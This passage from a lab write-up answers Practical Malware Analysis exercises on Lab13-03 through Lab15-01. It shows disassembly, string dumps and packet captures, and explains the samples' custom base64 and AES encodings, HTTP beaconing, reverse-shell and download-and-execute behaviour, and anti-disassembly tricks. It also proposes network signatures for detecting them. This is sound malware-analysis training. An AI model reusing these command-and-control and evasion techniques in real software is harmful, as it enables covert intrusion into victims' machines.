        StringCchCat(szDir, MAX_PATH, TEXT("\\*"));

        hFind = FindFirstFile(szDir, &ffd);

        myFuncPtr = (Funptr)0x0040181F;
        mywritePtr = (writeFunc)0x00401000;

        if (INVALID_HANDLE_VALUE == hFind)
        {
            continue;
        }

        do
        {
            if (!(ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
            {
                if(!strcmp(ffd.cFileName, "temp")){
                    BYTE *buffer;
                    long fsize;
                    CHAR temp[MAX_PATH];
                    FILE *f = fopen(ffd.cFileName, "rb");
                    fseek(f, 0, SEEK_END);
                    fsize = ftell(f);
                    fseek(f, 0, SEEK_SET);

                    buffer = (BYTE*)malloc(fsize + 1);
                    fread(buffer, fsize, 1, f);
                    fclose(f);
                    myFuncPtr(buffer, fsize);

                    sprintf(temp, "DECODED_%s.bmp", ffd.cFileName);
                    mywritePtr(buffer, fsize, temp);
                    free(buffer);
                    DeleteFileA(ffd.cFileName);
                }
            }
        }while (!FindNextFile(hFind, &ffd));
        FindClose(hFind);
        Sleep(1000);
    }
}

```

Figure 6. Decode Function

The above codes simply scan the path in which the executable resides in for encoded files that start with “temp”. It then reads the file and pass the data to the encoding function @0x40181F. Once the data is decoded, we make use of the function @0x401000 to write out the file to

"DECODED_[encoded file name].bmp". Last but not least i shall delete the encoded file so as not to clutter the folder.



c. Analyze the malware found in the file *Lab13-03.exe*.

- Compare the output of strings with the information available via dynamic analysis. Based on this comparison, which elements might be encoded?

Based on Wireshark and program response we could see the following strings.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	192.168.1.101	192.168.1.100	DNS	108	Standard query 0x0000 A 192.168.1.100.in-addr.arpa. www.practicalmalwareanalysis.com
2	0.012195000	192.168.1.100	192.168.1.101	DNS	108	Standard query response 0x2000 A 192.168.1.100
3	0.015718000	192.168.1.101	192.168.1.100	TCP	60	avocent-proxy > anyone-https [SYN] seq=1460 win=1460 MSS=1460 SACK
4	0.015904000	192.168.1.100	192.168.1.101	TCP	60	anyone-https > avocent-proxy [RST, ACK] seq=1461 win=0 Len=0
5	0.015905100	192.168.1.101	192.168.1.100	TCP	60	avocent-proxy > anyone-https [SYN] seq=1460 win=1460 MSS=1460 SACK
6	0.015912000	192.168.1.100	192.168.1.101	TCP	60	anyone-https > avocent-proxy [RST, ACK] seq=1461 win=0 Len=0
7	0.016131000	192.168.1.100	192.168.1.101	TCP	60	avocent-proxy > anyone-https [SYN] seq=1460 win=1460 MSS=1460 SACK
8	0.030119000	192.168.1.100	192.168.1.101	TCP	60	anyone-https > avocent-proxy [RST, ACK] seq=1461 win=0 Len=0

Figure 1. <http://www.practicalmalwareanalysis.com>

```
C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_13L>Lab13-03.exe
ERROR: API      = ReadConsole.
       error code = 0.
       message   = The operation completed successfully.
```

Figure 2. Error Message

In IDA Pro we can see the domain host name and some possible debug messages.

Address	Length	Type	String
.rdata:00410088	00000025	C	Microsoft Visual C++ Runtime Library
.rdata:00410084	0000001A	C	Runtime Error\n\nProgram:
.rdata:004100D4	00000017	C	<program name unknown>
.rdata:00410168	00000013	C	GetLastActivePopup
.rdata:0041017C	00000010	C	GetActiveWindow
.rdata:0041018C	0000000C	C	MessageBoxA
.rdata:00410198	0000000B	C	user32.dll
.rdata:004111CE	0000000D	C	KERNEL32.dll
.rdata:004111E8	0000000B	C	USER32.dll
.rdata:00411202	0000000B	C	WS2_32.dll
.rdata:004120A5	00000040	C	DEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/
.data:004120E8	0000003D	C	ERROR: API = %s.\n error code = %d.\n message = %s.\n
.data:00412128	00000009	C	ReadFile
.data:00412134	0000000D	C	WriteConsole
.data:00412144	0000000C	C	ReadConsole
.data:00412150	0000000A	C	WriteFile
.data:00412164	00000010	C	DuplicateHandle
.data:00412174	00000010	C	DuplicateHandle
.data:00412184	00000010	C	DuplicateHandle
.data:00412194	0000000C	C	CloseHandle
.data:004121A0	0000000C	C	CloseHandle
.data:004121AC	0000000D	C	GetStdHandle
.data:004121BC	00000008	C	cmd.exe
.data:004121C4	0000000C	C	CloseHandle
.data:004121D0	0000000C	C	CloseHandle
.data:004121DC	0000000C	C	CloseHandle
.data:004121E8	0000000D	C	CreateThread
.data:004121F8	0000000D	C	CreateThread
.data:00412208	00000011	C	ijklmnopqrstuvwxyz
.data:0041221C	00000021	C	www.practicalmalwareanalysis.com
.data:0041224C	00000017	C	Object not Initialized
.data:00412264	00000020	C	Data not multiple of Block Size
.data:00412284	0000000A	C	Empty key
.data:00412290	00000015	C	Incorrect key length
.data:004122A8	00000017	C	Incorrect block length

Figure 3. IDA Pro strings

ii. Use static analysis to look for potential encoding by searching for the string xor. What type of encoding do you find?

There are quite a lot of xor operations to go through. But based on the figure below, it is highly possible that AES is being used; The **Advanced Encryption Standard (AES)** is also known as **Rijndae**.

.text:00402B3F	sub_4027ED	33 14 85 08 E3 40 00	xor edx, ds:Rijndael_Td2[eax*4]
.text:00402A4E	sub_4027ED	33 14 85 08 E3 40 00	xor edx, ds:Rijndael_Td2[eax*4]
.text:00402587	sub_40223A	33 14 85 08 D3 40 00	xor edx, ds:Rijndael_Te2[eax*4]
.text:00402496	sub_40223A	33 14 85 08 D3 40 00	xor edx, ds:Rijndael_Te2[eax*4]
.text:00402892	sub_4027ED	33 11	xor edx, [ecx]
.text:004022D0	sub_40223A	33 11	xor edx, [eax]
.text:00402A68	sub_4027ED	33 10	xor edx, [eax]
.text:004024B0	sub_40223A	33 10	xor edx, [eax]
.text:004021F6	sub_401AC2	33 0C 95 08 F3 40 00	xor ecx, ds:dword_40F308[edx*4]
.text:004033A2	sub_403166	33 0C 95 08 E7 40 00	xor ecx, ds:Rijndael_Td3[edx*4]
.text:00403381	sub_403166	33 0C 95 08 E3 40 00	xor ecx, ds:Rijndael_Td2[edx*4]
.text:00402AF0	sub_4027ED	33 0C 95 08 E3 40 00	xor ecx, ds:Rijndael_Td2[edx*4]
.text:0040335D	sub_403166	33 0C 95 08 DF 40 00	xor ecx, ds:Rijndael_Td1[edx*4]
.text:00402FE1	sub_402DA8	33 0C 95 08 D7 40 00	xor ecx, ds:Rijndael_Te3[edx*4]
.text:00402FC0	sub_402DA8	33 0C 95 08 D3 40 00	xor ecx, ds:Rijndael_Te2[edx*4]
.text:00402538	sub_40223A	33 0C 95 08 D3 40 00	xor ecx, ds:Rijndael_Te2[edx*4]
.text:00402F9C	sub_402DA8	33 0C 95 08 CF 40 00	xor ecx, ds:Rijndael_Te1[edx*4]
.text:004033BC	sub_403166	33 0C 90	xor ecx, [eax+edx*4]
.text:00402FF8	sub_402DA8	33 0C 90	xor ecx, [eax+edx*4]
.text:00402205	sub_401AC2	33 0C 85 08 F7 40 00	xor ecx, ds:dword_40F708[eax*4]
.text:004021E3	sub_401AC2	33 0C 85 08 EF 40 00	xor ecx, ds:dword_40EF08[eax*4]
.text:00402AFF	sub_4027ED	33 0C 85 08 E7 40 00	xor ecx, ds:Rijndael_Td3[eax*4]
.text:00402ADD	sub_4027ED	33 0C 85 08 DF 40 00	xor ecx, ds:Rijndael_Td1[eax*4]
.text:00402547	sub_40223A	33 0C 85 08 D7 40 00	xor eax, ds:Rijndael_Te2[eax*4]
.text:00402525	sub_40223A	33 0C 85 08 CF 40 00	xor eax, ds:Rijndael_Te1[eax*4]
.text:00402AAF	sub_4027ED	33 04 95 08 E7 40 00	xor eax, ds:Rijndael_Td3[edx*4]
.text:00402ABC	sub_4027ED	33 04 95 08 DF 40 00	xor eax, ds:Rijndael_Td1[edx*4]
.text:004024F7	sub_40223A	33 04 95 08 D7 40 00	xor eax, ds:Rijndael_Te3[edx*4]
.text:004024D4	sub_40223A	33 04 95 08 CF 40 00	xor eax, ds:Rijndael_Te1[edx*4]
.text:00402A9F	sub_4027ED	33 04 8D 08 E3 40 00	xor eax, ds:Rijndael_Td2[ecx*4]
.text:004024E7	sub_40223A	33 04 8D 08 D3 40 00	xor eax, ds:Rijndael_Te2[ecx*4]
.text:0040874E		32 30	xor dh, [eax]
.text:004039E8	sub_403990	32 11	xor dl, [ecx]
.text:00408752		30 30	xor [eax], dh

Figure 4. XOR operations

4. XOR operations

iii. Use static tools like FindCrypt2, KANAL, and the IDA Entropy Plugin to identify any other encoding mechanisms. How do these findings compare with the XOR findings?

Most likely AES is being used in the malware.




Figure 5. PEID found AES

```
The initial autoanalysis has been finished.
40CB08: Found const array Rijndael_Te0 (used in Rijndael)
40CF08: Found const array Rijndael_Te1 (used in Rijndael)
40D308: Found const array Rijndael_Te2 (used in Rijndael)
40D708: Found const array Rijndael_Te3 (used in Rijndael)
40DB08: Found const array Rijndael_Td0 (used in Rijndael)
40DF08: Found const array Rijndael_Td1 (used in Rijndael)
40E308: Found const array Rijndael_Td2 (used in Rijndael)
40E708: Found const array Rijndael_Td3 (used in Rijndael)
Found 8 known constant arrays in total.
```

Figure 6. Find Crypt 2 Plugin Found AES

iv. Which two encoding techniques are used in this malware?

@0x4120A4 we can see a 65 characters string. Which seems like a custom base64 key. The standard base64 key should be

“ABCDEFIGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=”
which consists of A-Z, a-z, 0-9, +, / and =.

```
,data:00012000 00          uu   0
,data:00012002 00          db   0
,data:00012004 43 45 46 47 48 49 4A+acdefghijklmnopqrsuvwxyzab0123456789+/=,0
,data:00012006 4B 4C 4D 4E 4F 50 51 52+
,CDEFGBHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,0
: DATA XREF: Based64.tifr
```

Figure 7. Custom Base64

A custom Base64 and AES are used in this malware.

v. For each encoding technique, what is the key?

The custom base64 string uses

“CDEFGBHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=”
To test if this key is valid i used a online custom base64 tool to verify.

Online Tool: https://www.malwaretracker.com/decoder_base64.php

Using the above tool with the custom key, I encoded HELLOWORLD and pass it to the program via netcat to decode. True enough, the encoded text was decoded back to the original text.




Figure 8. Base64 decode

Based on some debug message, this function (0x00401AC2) seems to be initializing the AES key.

```
.text:00401AC2 ; int __thiscall KeyInit(int this, int KEY, void *a3, int a4, int a5)
keyinit proc near : CODE XREF: _main+1Cp
    var_68        = dword ptr -68h
    var_64        = dword ptr -64h
    var_60        = dword ptr -60h
    var_5C        = dword ptr -5Ch
    var_58        = byte ptr -58h
    var_4C        = dword ptr -4Ch
    var_38        = byte ptr -48h
    var_3C        = dword ptr -3Ch
    var_30        = byte ptr -38h
    var_2C        = dword ptr -2Ch
    var_28        = dword ptr -28h
    var_24        = dword ptr -24h
    var_20        = dword ptr -20h
    var_1C        = dword ptr -1Ch
    var_18        = dword ptr -18h
    var_14        = dword ptr -14h
    var_10        = dword ptr -10h
    var_0C        = dword ptr -8h
    var_08        = dword ptr -4h
    KEY           = dword ptr 0
    arg_8          = dword ptr 0Ch
    arg_4          = dword ptr 10h
    arg_0          = dword ptr 14h
    .text:00401AC2 55
    push    ebp
    mov     ebp, esp
    .text:00401AC3 8B EC
    sub    esp, 68h
    .text:00401AC5 BD EC 68
    push    esi
    .text:00401AC8 56
    mov    [ebp+var_68], ecx
    .text:00401AC9 89 4D 08
    cmp    [ebp+KEY], 0
    .text:00401ACC 83 7D 00 00
    jnz    short loc_401AF3
    .text:00401AD0 75 21
    jne    [ebp+var_3C], offset aEmptyKey ; "Empty key"
    .text:00401AD2 C7 45 C0 B4 22 41 00
    lea    eax, [ebp+var_3C]
    .text:00401AD9 BD 45 C4
    push    eax
    .text:00401ADC 50
    push    eax
```

Figure 9. Init Key

x-ref the function and locate the 2nd argument... the key is most likely to be "ijklmnopqrstuvwxyz".

```
.text:00401876 B1 E6 H6 B1 00 00
.text:00401882 6A 10
.text:00401884 6A 10
.text:00401886 68 74 33 41 00
.text:00401888 68 00 22 41 00
.text:00401890 B9 FB 2E 41 00
.text:00401895 E8 28 02 00 00
    sub    esp, 10h
    push    10             ; int
    push    10             ; int
    push    offset unk_413374 ; void *
    push    offset alijklmnopqrstuvwxyz ; "ijklmnopqrstuvwxyz"
    mov    ecx, offset unk_412EF8
    call    KeyInit
    add    esp, 10h
```

Figure 10. Key pass in as 2nd argument

vi. For the cryptographic encryption algorithm, is the key sufficient? What else must be known?

For custom base64, we would just need the custom base64 string.

For AES, we would need the Cipher's encryption mode, key and IV.

vii. What does this malware do?

The malware connects to an <http://www.practicalmalwareanalysis.com>'s 8190 port and establishes a remote shell. It then reads input from the attacker. The inputs are custom base64 encoded. Once decoded, the command is pass to cmd.exe for execution. The return results is encrypted using AES and send back to the attacker's server.

viii. Create code to decrypt some of the content produced during dynamic analysis. What is this content?

Using the key, we use CBC mode with no IV to decrypt the AES encrypted packet. The content is the response from the command sent earlier via the remote shell from the attacker.

Figure 11. Decrypted Data

Practical No. 8

a. Analyze the malware found in file *Lab14-01.exe*. This program is not harmful to your system.


i. Which networking libraries does the malware use, and what are their advantages?

The networking library used is urlmon's [URLDownloadToCacheFileA](#).

Address	Ordinal	Name	Library
00405088		URLDownloadToCacheFileA	urlmon
0040500C		Sleep	KERNEL32
00405010		CreateProcessA	KERNEL32
00405070		CloseHandle	KERNEL32

Figure 1. urlmon's URLDownloadToCacheFileA

The advantage of using this api call is that the http packets being sent looks like a typical packet from the victim's browser.



```

Follow TCP Stream
Stream Content
GET /ODA6NMQ6NjE6NzI6Njk6NmYtQWRtaW5pc3RyYXRvcgaa/a.png HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)
Host: www.practicalmalwareanalysis.com
Connection: Keep-Alive
  
```

Figure 2. User-Agent

ii. What source elements are used to construct the networking beacon, and what conditions would cause the beacon to change?

From the figure below, we can observe that the networking beacon is constructed from a partial GUID(19h to 24h) via [GetCurrentHwProfileA](#) and username via [GetUserNameA](#).

Based on MSDN, **szHwProfileGuid** is a globally unique identifier (GUID) string for the current hardware profile. The string returned by [GetCurrentHwProfile](#) encloses the GUID in curly braces, {}; for example: {12340001-4980-1920-6788-123456789012}.

Therefore on different machine, the GUID should be different which infers that the beacon will change. On top of that, another variable used is the username therefore different users logging in to the same infected machine will generate a different beacon as well.

```

add    esp, 0Ch
lea    ecx, [ebp+HuProfileInfo]
push   ecx          ; lpHuProfileInfo
call   ds:GetCurrentHuProfileA
movsx  edx, [ebp+HuProfileInfo.szHuProfileGuid+24h]
push   edx
movsx  eax, [ebp+HuProfileInfo.szHuProfileGuid+23h]
push   eax
movsx  ecx, [ebp+HuProfileInfo.szHuProfileGuid+22h]
push   ecx
movsx  edx, [ebp+HuProfileInfo.szHuProfileGuid+21h]
push   edx
movsx  eax, [ebp+HuProfileInfo.szHuProfileGuid+20h]
push   eax
movsx  ecx, [ebp+HuProfileInfo.szHuProfileGuid+1Fh]
push   ecx
movsx  edx, [ebp+HuProfileInfo.szHuProfileGuid+1Eh]
push   edx
movsx  eax, [ebp+HuProfileInfo.szHuProfileGuid+1Dh]
push   eax
movsx  ecx, [ebp+HuProfileInfo.szHuProfileGuid+1Ch]
push   ecx
movsx  edx, [ebp+HuProfileInfo.szHuProfileGuid+1Bh]
push   edx
movsx  eax, [ebp+HuProfileInfo.szHuProfileGuid+1Ah]
push   eax
movsx  ecx, [ebp+HuProfileInfo.szHuProfileGuid+19h]
push   ecx
push   offset aCCCCCCCCCCCC : "%c%c:%c%c:%c%c:%c%c:%c%c"
lea    edx, [ebp+var_18] 98
push   edx          ; char *
call   _sprintf
add   esp, 38h
mov   [ebp+pcbBuffer], 7FFFh
lea    eax, [ebp+pcbBuffer]
push   eax          ; pcbBuffer
lea    ecx, [ebp+Buffer]
push   ecx          ; lpBuffer
call   ds:GetUserNameA
test  eax, eax
inz   short loc 40135C

```

```

loc_40135C:
lea    edx, [ebp+Buffer]
push   edx
lea    eax, [ebp+var_18] 98
push   eax
push   offset aSS      ; GUID-USERNAME
lea    ecx, [ebp+var_1816]
push   ecx          ; char *
call   _sprintf

```

Figure 3. GUID & Username

iii. Why might the information embedded in the networking beacon be of interest to the attacker?

So that the attacker can have a unique id to keep track of the infected machines and users.

iv. Does the malware use standard Base64 encoding? If not, how is the encoding unusual?

Yes except that the padding used is different.



Figure 4.padding 'a' is used instead of '='

To prove that let's try it using ollydbg. Set breakpoint @0x004013A2 and we can step through the base64 algo in action. In my test experiment i used AA:AA:AA:AA:AA:AA-AAAAAAA to let it encode. By right the standard base64 should give me the following results.

Encode to Base64 format

Simply use the form below

AA:AA:AA:AA:AA:AA-AAAAAAA

> ENCODE <

UTF-8



(You may also select output charset.)

QUE6QUE6QUE6QUE6QUE6QUEtQUFBQUFBQUFBQUFBQQ==

Encoding AA:AA:AA:AA:AA:AA-AAAAAAA

Figure 5.

However we got back QUE6QUE6QUE6QUE6QUE6QUEtQUFBQUFBQUFBQUFBQQaa instead. Which further reinforced what we have seen earlier in IDA Pro where ‘a’ is used instead of ‘=’ for padding.



Figure 6. Encoding in ollydbg

v. What is the overall purpose of this malware?

The malware attempts to download file from the c2 server and executes it every 60 seconds.




Figure 7. Download and execute

vi. What elements of the malware's communication may be effectively detected using a network signature?

We can use following elements to detect for this malware

1. domain: <http://www.practicalmalwareanalysis.com>
 2. Get request ends with /[%c].png
 3. Get request pattern is as follows "/[A-Z|a-z|0-9]{3}6[A-Z|a-z|0-9]{3}6[A-Z|a-z|0-9]{3}6[A-Z|a-z|0-9]{3}6[A-Z|a-z|0-9]{3}6[A-Z|a-z|0-9]{3}6[A-Z|a-z|0-9]{3}t[A-Z|a-z|0-9]*\|[A-Z|a-z|0-9].png/"



Figure 8. online reg exp tool

vii. What mistakes might analysts make in trying to develop a signature for this malware?

- thinking that the GET request is a static base64 string
 - thinking that the file requested is "a.png"

viii. What set of signatures would detect this malware (and future variants)?

refer to question vi.

b. Analyze the malware found in file *Lab14-02.exe*. This malware has been configured to beacon to a hard-coded loopback address in order to prevent it from harming your system, but imagine that it is a hard-coded external address.

i. What are the advantages or disadvantages of coding malware to use direct IP addresses?

Pro

If the attacker's IP were to be blocked, other same variant of malware that uses different IP would not be affected.

Con

If the IP is blacklisted as malicious and blocked by the feds, the attacker would have lost access to the malware. If the attacker were to use a domain name, he can easily just redirect to another IP.

ii. Which networking libraries does this malware use? What are the advantages or disadvantages of using these libraries?

Address	Ordinal	Name	Library
004020D4		InternetCloseHandle	WININET
004020D8		InternetOpenUrlA	WININET
004020DC		InternetOpenA	WININET
004020E0		InternetReadFile	WININET
004020CC		LoadStringA	USER32
004020C0		SHChangeNotify	SHELL32
004020C4		ShellExecuteExA	SHELL32
00402074		exit	MSVCRT

Figure 2. WININET

WININET library is used by this malware.

Pro

Caching and cookies are automatically set by the OS. If cache are not cleared before re-downloading of files, the malware could be getting a cached file instead of a new code that needs to be downloaded.

Con

User agent need to be set by the malware author, usually the user agent is hard coded.

iii. What is the source of the URL that the malware uses for beaconing? What advantages does this source offer?

The url is hidden in the string resource. Once a malware is compiled, the attacker would just need to reset the resource to another ip without recompiling the malware. Also using a resource make do without an additional config file.

iv. Which aspect of the HTTP protocol does the malware leverage to achieve its objectives?

Threads are created by the malware. One to send data out in the user agent field after encoding it using custom base64. The other to receive data.




Figure 3. Read Data




Figure 4. Send Data

Read Data Thread uses a static user agent "Internet Surf" as shown below.

```

; int __cdecl InternetRead(LPCSTR lpszUrl)
InternetRead proc near

    duhNumberOfBytesRead= dword ptr -8
    lpszUrl= dword ptr -4

    push    ecx
    push    ebx
    push    ebp
    push    0          ; dwFlags
    push    0          ; lpszProxyBypass
    push    0          ; lpszProxy
    push    0          ; dwAccessType
    push    offset szAgent ; "Internet Surf"
    call    ds:InternetOpenA
    push    0          ; dwContext
    mov     ebp, eax
    mov     eax, [esp+10h+lpszUrl]
    
```

Figure 5. Internet Surf User-agent

v. What kind of information is communicated in the malware's initial beacon?

Setting a breakpoint @0x00401750, we will break before the malware attempts to send packets out. Here you will see a custom base64 encoded data being package ready to send out.




Figure 6. Base64 encoded data

The decoded text is the cmd.exe prompt.

Custom alphabet base 64 decoder:

Use your own base 64 alphabet to encode or decode data. (Ixeshe malware beacons for example use a custom base64 alphabet in the beacons. Find the alphabet by looking for a 65 byte string in the unpacked binary.)

Custom alphabet: WXYZlabcd3fghijklko12e456789ABCDEFGHIJKL+/MNOPQRSTUVWXYZmnOpqrst

Standard alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+=

Data:

```
e6LJC+xnBq90daDNB+1TDrhG6aWG6p9LC/iNBqsG/2sVgJdqhZXDZoMMo
mKGoxUE73N9qH0dZltjZ4RhJWUh2XiA6imBriT9/oGoqxmCYsiYG0fonNC
1bxJD6pLB/1ndbaS9YXe9710A6t/CpVX9bpNB+LnDc3HDbxm71LCqR0BrX
Co+LS873toqxQBb5JDbLTBLVZAbaUDb5m7nl0eZs=
```

Results - Decode:

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and

Figure 7. Decoded Base64

vi. What are some disadvantages in the design of this malware's communication channels?

1. Only outgoing traffic is encoded thus incoming commands are in plain for defender to see
2. The user agent used is hard coded for one of the thread which makes it easy to form a signature to detect it.
3. The other user agent looks out of place and defender can spot it if he/she go through the packet header.

vii. Is the malware's encoding scheme standard?

No. We can see the custom base64 key in the following figure.

```

data:00000000 ; cnear byte_400000
data:00003010 byte_403010 db 'U' ; DATA XREF: BASE64+8BTr
data:00003010
data:00003011 aXyz1abcd3Fghij db 'XYZ1abcd3Fghijkl2e456789ABCDEFGHIJKL+/MNOPQRSTUVWXYZnnOpqrstuvwxyz', 0
data:00003051 align 4
data:00003054 aCmd_exe db 'cmd.exe', 0 ; DATA XREF: WinMain(x,x,x,x)+13D70

```

Figure 8. Custom base64 key

viii. How is communication terminated?

In the subroutine @0x00401800, once the malware reads the word exit from the C2 server, the thread will exit.





Figure 9. exit keyword

ix. What is the purpose of this malware, and what role might it play in the attacker's arsenal?

Reverse Shell via http. On termination of the malware a subroutine (0x00401880) will be called to delete itself from the system.



The figure shows two windows of a debugger displaying assembly code. The top window shows the following assembly:

```

    lea    eax, [esp+358h+Buffer]
    push  104h          ; nSize
    push  eax           ; lpBuffer
    push  offset Name   ; "COMSPEC"
    call  ds:GetEnvironmentVariableA
    test  eax, eax
    jz   loc_401900
  
```

The bottom window shows a larger block of assembly code, likely the continuation of the program's logic. It includes calls to `lstrcpyA`, `lstrcatA`, and `ShellExecuteExA`, among other functions, which are typical for creating and executing a file.

Figure 10. self delete

c. This lab builds on Practical 8 a. Imagine that this malware is an attempt by the attacker to improve his techniques. Analyze the malware found in file *Lab14-03.exe*.

i. What hard-coded elements are used in the initial beacon? What elements, if any, would make a good signature?

From the figure below, we can see hard-coded user-agent and headers (Accept, Accept-Language, Accept-Encoding, and a unique UA-CPU field). All of these can be used as a signature especially the UA-CPU field. It is also noted that the author pass the string “User-Agent: xxx” into InternetOpenA API call. This results in User-Agent field being set to User-

Agent:User-Agent:xxx... A duplicate error in which we can used it to generate a good signature too.

131	.data:00408000	00000000	00000000
132	.data:0040811C	00000032	C http://www.practicalmalwareanalysis.com/start.htm
133	.data:0040810C	0000000F	C C:\autobat.exe
134	.data:004080FC	0000000F	C C:\autobat.exe
135	.data:004080A4	0000004E	C Accept: */*\\nAccept-Language: en-US\\nUA-CPU: x86\\nAccept-Encoding: gzip, deflate
136	.data:00408038	0000006B	C User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.4506.2152; .NET...

Figure 1. HTTP Headers

ii. What elements of the initial beacon may not be conducive to a longlasting signature?

In the subroutine @0x401457, we can see that the url

[“http://www.practicalmalwareanalysis.com/start.htm”](http://www.practicalmalwareanalysis.com/start.htm) is being set as the beacon destination. However that is provided that “c:\\autobat.exe” does not exists, if it exists, the contents will be read and parsed as the beacon destination instead.

Using “<http://www.practicalmalwareanalysis.com/start.htm>” as a signature might not be a good idea since an attacker might be able to change the beacon destination.




Figure 2. autobat.exe

iii. How does the malware obtain commands? What example from the chapter used a similar methodology? What are the advantages of this technique?

The malware scan the response for a <noscript> tag. The text after the tag is the command to execute. The advantage of using this technique is that it is hiding the commands in plain sight that blends in the returned html page. Therefore making detection hard for defender.

```
.text:00401000      push    ebp
.text:00401001      mov     ebp, esp
.text:00401003      sub     esp, 000h
.text:00401009      mov     eax, [ebp+arg_0]
.text:0040100C      add     eax, 1
.text:0040100F      mov     [ebp+arg_0], eax
.text:00401012      mov     ecx, [ebp+arg_0]
.text:00401015      movsx  edx, byte ptr [ecx+8]
.text:00401019      cmp     edx, '>'
.text:0040101C      jnz    loc_401141
.text:00401022      mov     eax, [ebp+arg_0]
.text:00401025      movsx  ecx, byte ptr [eax]
.text:00401028      cmp     ecx, 'n'
.text:0040102B      jnz    loc_401141
.text:00401031      mov     edx, [ebp+arg_0]
.text:00401034      movsx  eax, byte ptr [edx+5]
.text:00401038      cmp     eax, 'i'
.text:0040103B      jnz    loc_401141
.text:00401041      mov     ecx, [ebp+arg_0]
.text:00401044      movsx  edx, byte ptr [ecx+1]
.text:00401048      cmp     edx, 'o'
.text:0040104B      jnz    loc_401141
.text:00401051      mov     eax, [ebp+arg_0]
.text:00401054      movsx  ecx, byte ptr [eax+4]
.text:00401058      cmp     ecx, 'r'
.text:0040105B      jnz    loc_401141
.text:00401061      mov     edx, [ebp+arg_0]
.text:00401064      movsx  eax, byte ptr [edx+2]
.text:00401068      cmp     eax, 's'
.text:0040106B      jnz    loc_401141
.text:00401071      mov     ecx, [ebp+arg_0]
.text:00401074      movsx  edx, byte ptr [ecx+6]
.text:00401078      cmp     edx, 'p'
.text:0040107B      jnz    loc_401141
.text:00401081      mov     eax, [ebp+arg_0]
.text:00401084      movsx  ecx, byte ptr [eax+3]
.text:00401088      cmp     ecx, 'c'
.text:0040108B      jnz    loc_401141
.text:00401091      mov     edx, [ebp+arg_0]
.text:00401094      movsx  eax, byte ptr [edx+7]
.text:00401098      cmp     eax, 't'
.text:0040109B      jnz    loc_401141
.text:004010A1      mov     ecx, [ebp+arg_4]
.text:004010A4      push   ecx,    ; char *
.text:004010A5      lea    edx, [ebp+var_CC]
.text:004010AB      push   edx,    ; char *
.text:004010AC      call   _strcpy
...
```

Figure 3. <noscript>

iv. When the malware receives input, what checks are performed on the input to determine whether it is a valid command? How does the attacker hide the list of commands the malware is searching for?

Analyzing subroutine @00401000 & 0x00401684. The checks are as follows

1. starts with <noscript>
2. url exists after <noscript>
3. url ends with "69"
4. commands must be in the form of /command/parameter

The attacker hides the commands by using only the first character to switch between predefined commands. Therefore he can use different words to represent same command so long as the first character matches in the switch.

v. What type of encoding is used for command arguments? How is it different from Base64, and what advantages or disadvantages does it offer?

The malware divides the parameters by 2 characters. Each 2 characters are passed to atoi function to convert it to integer. It then references the following string to get the exact character it represents.

```
 .rdata:00407000 80 80 80 80          align 8
.rdata:00407004      ; char abcdefghijklmn[]
.rdata:00407008 2F 61 62 63 64 65 66 67+abcde#ghijklmn db '/abcde#ghijklmnopqrstuvwxyz@123456789:.,0
```

Figure 4. Decode string

Pro

It is a custom encoding technique thus not easily detected by existing tools

Con

It is pretty simple to reverse.

vi. What commands are available to this malware?

Command Description

- | | |
|---|--------------------|
| d | Download & Execute |
| n | Exit |
| s | Sleep |
| r | Write autobat.exe |

vii. What is the purpose of this malware?

The malware serves as a backdoor by downloading and execute new codes on the victim's machine via http request. It can also rewrite the config file "autobat.exe" to let it connect to a different C2 Server.

viii. This chapter introduced the idea of targeting different areas of code with independent signatures (where possible) in order to add resiliency to network indicators. What are some distinct areas of code or configuration data that can be targeted by network signatures?

1. "<http://www.practicalmalwareanalysis.com/start.htm>”

2. Any new url found in "c:\\autobat.exe"
3. Headers such as UA-CPU and User Agent (duplicated User-Agent)
4. http response contains <noscript>[url][69']

ix. What set of signatures should be used for this malware?

refer to question 8.

d. Analyze the sample found in the file Lab15-01.exe. This is a command-line program that takes an argument and prints “Good Job!” if the argument matches a secret code.

i. What anti-disassembly technique is used in this binary?

Xor was used followed by jz to trick the disassembler into making a jump. An opcode “E8” is used to make IDA Pro disassemble the code wrongly.

```

ext:00401000 ; int __cdecl main(int argc, const char **argv, const char **envp)
ext:00401000 _main:
ext:00401000          push   ebp
ext:00401001          mov    ebp, esp
ext:00401003          push   ebx
ext:00401004          push   esi
ext:00401005          push   edi
ext:00401006          cmp    dword ptr [ebp+8], 2
ext:00401006          jnz    short loc_40105E
ext:0040100C          xor    eax, eax
ext:0040100E          jz     short near ptr loc_401010+1
ext:00401010
ext:00401010 loc_401010:
ext:00401010          call   near ptr .B8025800
ext:00401015          dec    eax
ext:00401016          add    al, 0Fh
ext:00401018          mov    esi, 70FA8311h
ext:0040101D          jnz    short loc_40105E
ext:0040101F          xor    eax, eax
ext:00401021          jz     short near ptr loc_401023+1
ext:00401023
ext:00401023 loc_401023:
ext:00401023          call   near ptr .B8025900
ext:00401028          dec    eax
ext:00401029          add    al, 0Fh
ext:00401028          mov    esi, 0FA830251h
ext:00401030          jno    short near ptr loc_4010A4+3
ext:00401032          sub    esi, [ebx]
ext:00401034          sal    byte ptr [ecx*eax-18h], 88h
ext:00401039          inc    ebp
ext:0040103A          or     al, 88h
ext:0040103C          dec    eax
ext:0040103D          add    al, 0Fh
ext:0040103F          mov    esi, 0FA830151h
ext:00401044          db    64h
ext:00401044          jnz    short loc_40105E
ext:00401047          xor    eax, eax
ext:00401049          jz     short near ptr loc_40104B+1
ext:0040104B
ext:0040104B loc_40104B:
ext:0040104B          call   near ptr .B8026000
ext:00401050          add    bh, bh
ext:00401052          adc    eax, offset printf
